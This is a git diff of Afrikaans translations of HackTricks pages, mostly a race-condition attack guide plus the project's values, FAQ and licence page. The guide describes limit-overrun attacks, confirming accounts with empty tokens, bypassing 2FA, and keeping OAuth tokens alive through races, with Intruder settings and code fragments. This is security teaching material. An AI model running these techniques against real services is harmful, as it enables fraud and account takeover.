In die oorspronklike navorsing word verduidelik dat hierdie attack 'n limiet van 1,500 bytes het. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (deur 'n enkele pakket in verskeie IP-pakkette te verdeel en dit in 'n ander volgorde te stuur), wat voorkom dat die pakket heraangestel word totdat al die fragmente die server bereik het. Hierdie tegniek het die navorser in staat gestel om ongeveer 10,000 requests in ongeveer 166ms te stuur.
|
||||||
|
|
||||||
|
Let wel dat alhoewel hierdie verbetering die attack meer betroubaar maak in RC wat honderde/duisende pakkette vereis om terselfdertyd te arriveer, dit ook sagtewarebeperkings kan hê. Sommige gewilde HTTP-servers soos Apache, Nginx en Go het 'n streng `SETTINGS_MAX_CONCURRENT_STREAMS` instelling van 100, 128 en 250. However, other like NodeJS and nghttp2 has it unlimited.\
|
||||||
|
Dit beteken basies dat Apache slegs 100 HTTP-verbindinge vanaf 'n enkele TCP-verbinding sal oorweeg (wat hierdie RC attack beperk).
|
||||||
|
|
||||||
|
Jy kan voorbeelde van hierdie tegniek vind in die repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
|
||||||
|
|
||||||
## Raw BF
|
## Raw BF
|
||||||
|
|
||||||
Voor die vorige navorsing was dit sommige payloads wat gebruik is wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
|
Voor die vorige navorsing is hier 'n paar payloads gebruik wat net probeer het om die pakkette so vinnig as moontlik te stuur om 'n RC te veroorsaak.
|
||||||
|
|
||||||
- **Repeater:** Check the examples from the previous section.
|
- **Repeater:** Kyk na die voorbeelde uit die vorige afdeling.
|
||||||
- **Intruder**: Stuur die **request** na **Intruder**, stel die **number of threads** op **30** in die **Options menu**, en kies as payload **Null payloads** en genereer **30**.
|
- **Intruder**: Stuur die **request** na **Intruder**, stel die **number of threads** op **30** in die **Options menu**, kies as payload **Null payloads** en genereer **30.**
|
||||||
- **Turbo Intruder**
|
- **Turbo Intruder**
|
||||||
```python
|
```python
|
||||||
def queueRequests(target, wordlists):
|
def queueRequests(target, wordlists):
|
||||||
@ -279,75 +286,75 @@ print(results)
|
|||||||
|
|
||||||
asyncio.run(main())
|
asyncio.run(main())
|
||||||
```
|
```
|
||||||
## **RC Methodology**
|
## **RC Metodologie**
|
||||||
|
|
||||||
### Limit-overrun / TOCTOU
|
### Limit-overrun / TOCTOU
|
||||||
|
|
||||||
Dit is die mees basiese tipe race condition waar **vulnerabilities** voorkom op plekke wat die aantal kere wat jy 'n aksie kan uitvoer beperk. Soos om dieselfde discount code in 'n web store verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld is te vind in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**this bug**](https://hackerone.com/reports/759247)**.**
|
Dit is die mees basiese tipe race condition waar **vulnerabilities** voorkom op plekke wat die **aantal kere wat jy 'n aksie kan uitvoer** beperk. Soos om dieselfde afslagkode in 'n webwinkel verskeie kere te gebruik. 'n Baie eenvoudige voorbeeld is te vinde in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) of in [**this bug**](https://hackerone.com/reports/759247)**.**
|
||||||
|
|
||||||
Daar is baie variasies van hierdie soort aanval, insluitend:
|
Daar is baie variasies van hierdie soort aanval, insluitend:
|
||||||
|
|
||||||
- Redeeming a gift card multiple times
|
- Inløs van 'n geskenkkaart meerdere kere
|
||||||
- Rating a product multiple times
|
- Beoordeel 'n produk meerdere kere
|
||||||
- Withdrawing or transferring cash in excess of your account balance
|
- Onttrekking of oordrag van kontant bo jou rekeningbalans
|
||||||
- Reusing a single CAPTCHA solution
|
- Hergebruik van 'n enkele CAPTCHA-oplossing
|
||||||
- Bypassing an anti-brute-force rate limit
|
- Omseil van 'n anti-brute-force rate limit
|
||||||
|
|
||||||
### **Hidden substates**
|
### **Verborge substates**
|
||||||
|
|
||||||
Exploiting complex race conditions behels dikwels om voordeel te trek uit kortgeleentheid om met verborgen of **unintended machine substates** te interaksie. Hier is hoe om dit te benader:
|
Die uitbuiting van ingewikkelde race conditions behels dikwels om voordeel te trek uit kortgeleë geleenthede om met verborge of **onbedoelde machine substates** te interaksioneer. Hier is hoe om dit aan te pak:
|
||||||
|
|
||||||
1. **Identify Potential Hidden Substates**
|
1. **Identifiseer potensiële verborge substates**
|
||||||
- Begin deur endpunte te identifiseer wat kritiese data wysig of daarmee interaksie het, soos user profiles of password reset-processes. Fokus op:
|
- Begin deur endpoints te identifiseer wat kritieke data wysig of daarmee interaksioneer, soos user profiles of password reset processes. Fokus op:
|
||||||
- **Storage**: Gee voorkeur aan endpunte wat server-side persistent data manipuleer bo daardie wat data client-side hanteer.
|
- **Storage**: Gee voorkeur aan endpoints wat server-side persistent data manipuleer bo dié wat data client-side hanteer.
|
||||||
- **Action**: Soek na operasies wat bestaande data verander — dit is meer geneig om uitbuitbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
|
- **Action**: Kyk na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met dié wat nuwe data byvoeg.
|
||||||
- **Keying**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifier gemik is, bv. username of reset token.
|
- **Keying**: Suksesvolle aanvalle behels gewoonlik operasies wat op dieselfde identifier gesleutel is, bv. gebruikersnaam of reset token.
|
||||||
2. **Conduct Initial Probing**
|
2. **Voer aanvanklike probing uit**
|
||||||
- Toets die geïdentifiseerde endpunte met race condition-aanvalle en let op afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in toepassinggedrag kan 'n kwetsbaarheid aandui.
|
- Toets die geïdentifiseerde endpoints met race condition attacks en let op enige afwykings van verwagte uitkomste. Onverwagte antwoorde of veranderinge in application-gedrag kan 'n vulnerability aandui.
|
||||||
3. **Demonstrate the Vulnerability**
|
3. **Demonstrate the Vulnerability**
|
||||||
- Smal die aanval in tot die minimale aantal versoeke wat nodig is om die kwetsbaarheid uit te buit, dikwels net twee. Hierdie stap kan meerdere pogings of outomatisering vereis weens die presiese tydsberekening wat betrokke is.
|
- Beperk die aanval tot die minimale aantal requests wat nodig is om die vulnerability te exploit — dikwels net twee. Hierdie stap kan meervoudige pogings of automatisering vereis weens die presiese timing.
|
||||||
|
|
||||||
### Time Sensitive Attacks
|
### Tydsgevoelige Aanvalle
|
||||||
|
|
||||||
Presisie in die tydsberekening van versoeke kan kwetsbaarhede openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens vir simultane versoeke toelaat.
|
Presisie in die timing van requests kan vulnerabilities openbaar, veral wanneer voorspelbare metodes soos timestamps gebruik word vir security tokens. Byvoorbeeld, die genereer van password reset tokens gebaseer op timestamps kan identiese tokens toelaat vir gelyktydige requests.
|
||||||
|
|
||||||
**To Exploit:**
|
**To Exploit:**
|
||||||
|
|
||||||
- Gebruik presiese tydsberekening, soos 'n single packet attack, om concurrent password reset requests te verstuur. Identiese tokens dui op 'n kwetsbaarheid.
|
- Gebruik presiese timing, soos 'n single packet attack, om gelyktydige password reset requests te stuur. Identiese tokens dui op 'n vulnerability.
|
||||||
|
|
||||||
**Example:**
|
**Example:**
|
||||||
|
|
||||||
- Request two password reset tokens op presies dieselfde tyd en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in token generation.
|
- Vra twee password reset tokens terselfdertyd aan en vergelyk hulle. Ooreenstemmende tokens dui op 'n fout in tokengenerering.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.**
|
||||||
|
|
||||||
## Hidden substates case studies
|
## Verborge substates gevallestudies
|
||||||
|
|
||||||
### Pay & add an Item
|
### Betaal & voeg 'n item by
|
||||||
|
|
||||||
Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om in 'n store te **pay** en 'n **extra** item by te **add** wat jy nie hoef te betaal nie.
|
Kyk na hierdie [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en **'n ekstra item by te voeg** waarvoor jy **nie hoef te betaal nie**.
|
||||||
|
|
||||||
### Confirm other emails
|
### Bevestig ander e-posse
|
||||||
|
|
||||||
Die idee is om 'n e-posadres te **verify** en dit terselfdertyd na 'n ander een te verander om te ontdek of die platform die nuwe een verifieer.
|
Die idee is om 'n e-posadres te **verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een verifieer.
|
||||||
|
|
||||||
### Change email to 2 emails addresses Cookie based
|
### Verander e-pos na 2 e-posadresse Cookie-gebaseerd
|
||||||
|
|
||||||
Volgens [**this research**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab op hierdie wyse kwesbaar vir 'n takeover omdat dit moontlik die **email verification token of one email to the other email** kan **send**.
|
Volgens [**this research**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab op hierdie wyse kwesbaar vir 'n takeover omdat dit die email verification token van een e-pos na die ander kon stuur.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.**
|
||||||
|
|
||||||
### Hidden Database states / Confirmation Bypass
|
### Verborge Database-state / Confirmation Bypass
|
||||||
|
|
||||||
As **2 different writes** gebruik word om **information** binne 'n **database** by te voeg, bestaan daar 'n klein tydsbestek waarin slegs die eerste data geskryf is in die database. Byvoorbeeld, wanneer 'n user geskep word, kan die **username** en **password** geskryf word en daarna die token om die nuut geskepte account te bevestig. Dit beteken dat vir 'n kort tyd die **token to confirm an account is null**.
|
As 2 verskillende writes gebruik word om inligting by 'n database te voeg, is daar 'n klein tydperk waar slegs die eerste data in die database geskryf is. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die gebruikersnaam en password geskryf word en daarna die token om die nuutgeskepte rekening te bevestig geskryf word. Dit beteken dat vir 'n kort tyd die token om 'n rekening te bevestig null is.
|
||||||
|
|
||||||
Daarom kan **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) om die account dadelik te bevestig toelaat om **bevestig 'n rekening** waar jy nie die e-pos beheer nie.
|
Daarom kan die registrasie van 'n rekening en die stuur van verskeie requests met 'n leë token (`token=` of `token[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, toelaat om 'n rekening te bevestig waarvoor jy nie die e-pos beheer nie.
|
||||||
|
|
||||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
**Kyk na hierdie** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **om dit te probeer.**
|
||||||
|
|
||||||
### Bypass 2FA
|
### Bypass 2FA
|
||||||
|
|
||||||
Die volgende pseudo-code is kwetsbaar vir race condition omdat daar in 'n baie klein tydsbestek die **2FA is not enforced** terwyl die session geskep word:
|
Die volgende pseudo-code is kwesbaar vir race condition omdat in 'n baie klein tyd die **2FA nie afgedwing word nie** terwyl die session geskep word:
|
||||||
```python
|
```python
|
||||||
session['userid'] = user.userid
|
session['userid'] = user.userid
|
||||||
if user.mfa_enabled:
|
if user.mfa_enabled:
|
||||||
@ -355,23 +362,23 @@ session['enforce_mfa'] = True
|
|||||||
# generate and send MFA code to user
|
# generate and send MFA code to user
|
||||||
# redirect browser to MFA code entry form
|
# redirect browser to MFA code entry form
|
||||||
```
|
```
|
||||||
### OAuth2 eternal persistence
|
### OAuth2 ewige persistentie
|
||||||
|
|
||||||
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Hierdie dienste laat jou toe om 'n toepassing te skep en gebruikers te verifieer wat deur die provider geregistreer is. Om dit te doen, sal die **client** jou **toepassing toestemming moet gee** om 'n deel van hul data binne die **OAUth provider** te bereik.\
|
Daar is verskeie [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Hierdie dienste laat jou toe om 'n toepassing te skep en gebruikers te verifieer wat deur die provider geregistreer is. Om dit te doen, sal die **client** die **permit your application** moet gee om toegang tot sommige van hul data binne die **OAUth provider** te kry.\
|
||||||
Tot dusver net 'n gewone login met google/linkedin/github... waar jy 'n bladsy gesien kry wat sê: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
So, tot dusver net 'n gewone login met google/linkedin/github... waar jy 'n bladsy te sien kry wat sê: "_Aansoek \<InsertCoolName> wil toegang hê tot jou inligting, wil jy dit toelaat?_"
|
||||||
|
|
||||||
#### Race Condition in `authorization_code`
|
#### Race Condition in `authorization_code`
|
||||||
|
|
||||||
Die **probleem** verskyn wanneer jy **dit aanvaar** en dit outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik die toepassing 'n Race Condition in die OAUth service provider om meer as een AT/RT (_Authentication Token/Refresh Token_) uit die **`authorization_code`** vir jou rekening te genereer. Basies sal dit die feit misbruik dat jy die toepassing toegang tot jou data gegee het om **verskeie rekeninge te skep**. Daarna, selfs al stop jy om die toepassing toegang tot jou data te gee, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees.
|
Die **probleem** verskyn wanneer jy dit **aanvaar** en dit outomaties 'n **`authorization_code`** na die kwaadwillige toepassing stuur. Dan misbruik hierdie toepassing 'n **Race Condition in die OAUth service provider om meer as een AT/RT te genereer** (_Authentication Token/Refresh Token_) vanaf die **`authorization_code`** vir jou rekening. Basies sal dit die feit misbruik dat jy die toepassing toegang tot jou data gegee het om **verskeie rekeninge te skep**. As jy dan **stop om die toepassing toegang tot jou data te gee, sal een paar AT/RT verwyder word, maar die ander sal steeds geldig wees**.
|
||||||
|
|
||||||
#### Race Condition in `Refresh Token`
|
#### Race Condition in `Refresh Token`
|
||||||
|
|
||||||
Sodra jy 'n **geldige RT** verkry het, kan jy probeer om dit te **misbruik om verskeie AT/RT te genereer** en **selfs as die gebruiker die toestemmings vir die kwaadwillige toepassing kanselleer**, sal **verskeie RTs steeds geldig bly.**
|
Sodra jy 'n **geldig RT** verkry het, kan jy probeer om dit te **misbruik om verskeie AT/RT te genereer** en **selfs as die gebruiker die permissies kanselleer** vir die kwaadwillige toepassing om sy data te bereik, sal **verskeie RTs steeds geldig wees.**
|
||||||
|
|
||||||
## **RC in WebSockets**
|
## **RC in WebSockets**
|
||||||
|
|
||||||
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vind jy 'n PoC in Java om websocket boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik.
|
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) vind jy 'n PoC in Java om websocket-boodskappe in **parallel** te stuur om **Race Conditions ook in Web Sockets** te misbruik.
|
||||||
- Met Burp’s WebSocket Turbo Intruder kan jy die **THREADED** engine gebruik om meerdere WS-verbindinge te skep en payloads parallel te stuur. Begin by die amptelike voorbeeld en stel `config()` (thread count) vir concurrency af; dit is dikwels meer betroubaar as om op 'n enkele verbinding te batche wanneer jy server‑side state oor WS handlers probeer race. Sien [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Begin met die amptelike voorbeeld en tune `config()` (thread count) vir concurrency; dit is dikwels meer reliable as batching on a single connection wanneer jy server‑side state across WS handlers race. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
|
||||||
|
|
||||||
## Verwysings
|
## Verwysings
|
||||||
|
|
||||||
|
@ -5,28 +5,28 @@
|
|||||||
## HackTricks Waardes
|
## HackTricks Waardes
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Dit is die **waardes van die HackTricks Project**:
|
> Dit is die **waardes van die HackTricks-projek**:
|
||||||
>
|
>
|
||||||
> - Gee **GRATIS** toegang tot **OPVOEDKUNDIGE hacking** hulpbronne aan **AL** die Internet.
|
> - Gee **VRYE** toegang tot **OPVOEDENDE hacking** hulpbronne aan **AL die Internet**.
|
||||||
> - Hacking gaan oor leer, en leer behoort so gratis as moontlik te wees.
|
> - Hacking gaan oor leer, en leer behoort so vry as moontlik te wees.
|
||||||
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
> - Die doel van hierdie boek is om as 'n omvattende **opvoedkundige hulpbron** te dien.
|
||||||
> - **STOOR** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en gee die **OORSPRONGLIKE** **AUTEURS** al die **krediete**.
|
> - **BEWAAR** wonderlike **hacking** tegnieke wat die gemeenskap publiseer en gee die **ORIGINELE** **AUTEURS** al die **krediete**.
|
||||||
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net koel truuks vir almal bewaar.
|
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net cool truuks vir almal bewaar.
|
||||||
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
||||||
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en die leser aanmoedig om die oorspronklike pos te besoek vir meer besonderhede.
|
> - In verskeie gevalle sal ons net **in HackTricks 'n opsomming van die belangrike dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||||
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
> - **ORGANISEER** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
||||||
> - Die HackTricks-span het duisende ure vrylik bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
|
> - Die HackTricks-span het duisende ure gratis bestee **slegs om die inhoud te organiseer** sodat mense **viniger kan leer**
|
||||||
|
|
||||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## HackTricks V&A
|
## HackTricks FAQ
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?**
|
> - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?**
|
||||||
|
|
||||||
Jy kan publiek die HackTricks-span bedank vir die saamstel van al hierdie hulpbronne in 'n tweet deur [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
|
Jy kan publiekelik die HackTricks-spanne bedank vir die samevoeging van al hierdie hulpbronne in 'n tweet deur [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
|
||||||
As jy besonders dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\
|
Indien jy besonder dankbaar is kan jy ook [**borg die projek hier**](https://github.com/sponsors/carlospolop).\
|
||||||
En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder).
|
En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder).
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
@ -42,16 +42,16 @@ Moenie vergeet om **'n ster aan die Github-projekte te gee nie!**
|
|||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Kan ek dele van HackTricks kopieer en op my blog plaas?**
|
> - **Kan ek inhoud van HackTricks kopieer en dit in my blog plaas?**
|
||||||
|
|
||||||
Ja, jy kan, maar **moenie vergeet om die spesifieke skakel(s) te noem** waar die inhoud vandaan geneem is nie.
|
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s)** te noem waar die inhoud vandaan geneem is nie.
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **Hoe kan ek 'n bladsy van HackTricks aanhaal?**
|
> - **Hoe kan ek 'n bladsy van HackTricks siteer?**
|
||||||
|
|
||||||
Solank die skakel **van** die blad(ye) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
|
Solank die skakel **van** die bladsy(s) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
|
||||||
As jy 'n bibtex nodig het kan jy iets soos die volgende gebruik:
|
As jy 'n bibtex nodig het, kan jy iets soos gebruik:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
>
|
>
|
||||||
> - **Kan ek al die HackTricks op my blog kopieer?**
|
> - **Kan ek al die HackTricks op my blog kopieer?**
|
||||||
|
|
||||||
**Ek sou liewer nie**. Dit gaan **niemand bevoordeel nie** aangesien al die **inhoud reeds openbaar beskikbaar** is in die amptelike HackTricks-boeke, en dit is **GRATIS**.
|
**Ek sou liewer nie**. Dit gaan **niemand bevoordeel nie**, aangesien al die **inhoud reeds publiek beskikbaar** is in die amptelike HackTricks-boeke vir **GRATIS**.
|
||||||
|
|
||||||
As jy vrees dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
|
As jy vrees dat dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **Hoekom het julle borge? Is HackTricks-boeke vir kommersiële doeleindes?**
|
> - **Hoekom het julle sponsore? Is HackTricks-boeke vir kommersiële doeleindes?**
|
||||||
|
|
||||||
Die eerste HackTricks-waarde is om GRATIS hacking-opvoedkundige hulpbronne aan DIE HELE wêreld te bied. Die HackTricks-span het **duisende ure** gewy om hierdie inhoud te lewer, weer, vir **GRATIS**.
|
Die eerste HackTricks-waarde is om **GRATIS** opvoedkundige hacking-hulpbronne aan **iedereen** wêreldwyd te bied. Die HackTricks-span het **duisende ure** toegewy om hierdie inhoud te verskaf, weer, vir **GRATIS**.
|
||||||
|
|
||||||
As jy dink HackTricks-boeke is geskep vir **kommersiële doeleindes**, het jy **HEELTEMAL VERKEERD**.
|
As jy dink HackTricks-boeke is gemaak vir **kommersiële doeleindes**, jy is **TEN VOLLE VERKEERD**.
|
||||||
|
|
||||||
Ons het borge omdat, selfs al is alle inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer as hulle dit wil doen. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en relevante maatskappye in kuberveiligheid om HackTricks te borg en 'n paar advertensies in die boek te hê — die advertensies word altyd geplaas op plekke waar hulle sigbaar is maar nie die leerproses versteur as iemand op die inhoud fokus nie.
|
Ons het sponsore omdat, selfs al is al die inhoud **GRATIS**, ons die gemeenskap die moontlikheid wil gee om ons werk te waardeer as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en relevante kuberveiligheidsmaatskappye om HackTricks te borg en om sommige advertensies in die boek te hê — die advertensies word altyd op plekke geplaas waar hulle sigbaar is maar nie die leerproses steur as iemand op die inhoud fokus nie.
|
||||||
|
|
||||||
Jy sal nie HackTricks vol irriterende advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, want HackTricks is nie gemaak vir kommersiële doeleindes nie.
|
Jy sal nie HackTricks gevul met irriterende advertensies soos ander blogs met baie minder inhoud as HackTricks vind nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Wat moet ek doen as 'n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?**
|
> - **Wat moet ek doen as ’n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys is nie?**
|
||||||
|
|
||||||
Ons is baie jammer. Dit behoort nie so te gebeur nie. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel na jou blog en **ons sal dit nagaan en dit so gou moontlik byvoeg**.
|
**Ons is baie jammer. Dit behoort nie gebeur het nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit SO VYFASIGD moontlik byvoeg**.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek wil nie hê dit moet daar wees nie?**
|
> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek wil dit nie daar hê nie?**
|
||||||
|
|
||||||
Neem asseblief kennis dat die hê van skakels na jou bladsy in HackTricks:
|
Let daarop dat om skakels na jou bladsy in HackTricks te hê:
|
||||||
|
|
||||||
- Verbeter jou **SEO**
|
- Verbeter jou **SEO**
|
||||||
- Die inhoud word **vertaal na meer as 15 tale**, wat dit moontlik maak dat meer mense toegang tot die inhoud kry
|
- Die inhoud word na meer as 15 tale vertaal, wat dit vir meer mense moontlik maak om toegang tot hierdie inhoud te kry
|
||||||
- **HackTricks moedig** mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert 'n bladsy van hulle in HackTricks is, hulle meer besoeke kry)
|
- HackTricks moedig mense aan om **jou bladsy te besoek** (verskeie mense het vir ons gesê dat sedert ’n bladsy van hulle in HackTricks verskyn het, hulle meer besoeke ontvang)
|
||||||
|
|
||||||
As jy egter steeds wil hê dat die inhoud van jou blog verwyder word, laat weet ons en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
As jy egter steeds wil hê dat die inhoud van jou blog uit HackTricks verwyder word, laat ons weet en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **Wat moet ek doen as ek gekopieërde inhoud in HackTricks vind?**
|
> - **Wat moet ek doen as ek gekopieër/plak inhoud in HackTricks vind?**
|
||||||
|
|
||||||
Ons gee altyd die oorspronklike outeurs alle krediet. As jy 'n bladsy vind met gekopieërde inhoud sonder die oorspronklike bronverwysing, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks toevoeg**, of **dit herskryf en die skakel byvoeg**.
|
Ons gee altyd die oorspronklike outeurs alle krediet. As jy ’n bladsy vind met gekopieër/plak inhoud sonder die oorspronklike bron verwys, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, of **dit herskryf en die skakel byvoeg**.
|
||||||
|
|
||||||
## LISENSIE
|
## LISENSIE
|
||||||
|
|
||||||
Copyright © Alle regte voorbehou tensy anders gespesifiseer.
|
Copyright © Alle regte voorbehou tensy anders vermeld.
|
||||||
|
|
||||||
#### Lisensie-opsomming:
|
#### Lisensie Opsomming:
|
||||||
|
|
||||||
- Toekenning: Jy is vry om:
|
- Toekenning: Jy is vry om:
|
||||||
- Deel — kopieer en herverdeel die materiaal op enige medium of formaat.
|
- Deel — kopieer en herverdeel die materiaal in enige medium of formaat.
|
||||||
- Aanpas — remikseer, transformeer en bou voort op die materiaal.
|
- Aanpas — remix, transformeer en bou voort op die materiaal.
|
||||||
|
|
||||||
#### Bykomende Bepalings:
|
#### Bykomende Voorwaardes:
|
||||||
|
|
||||||
- Inhoud van derde partye: Sommige gedeeltes van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud vind plaas onder die beginsels van billike gebruik of met uitdruklike toestemming van die onderskeie kopiereg-eienaars. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende inhoud van derde partye.
|
- Third-Party Content: Sommige dele van hierdie blog/boek kan inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud word gedoen onder die beginsels van billike gebruik of met uitdruklike toestemming van die onderskeie kopiereghouers. Verwys asseblief na die oorspronklike bronne vir spesifieke lisensie-inligting rakende derdeparty-inhoud.
|
||||||
- Outeurskap: Die oorspronklike inhoud geskryf deur HackTricks is onderhewig aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te skryf wanneer jy dit deel of aanpas.
|
- Authorship: Die oorspronklike inhoud geskryf deur HackTricks is onderworpe aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
|
||||||
|
|
||||||
#### Uitsonderings:
|
#### Uitsonderings:
|
||||||
|
|
||||||
- Kommersiële gebruik: Vir navrae rakende kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
- Commercial Use: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
||||||
|
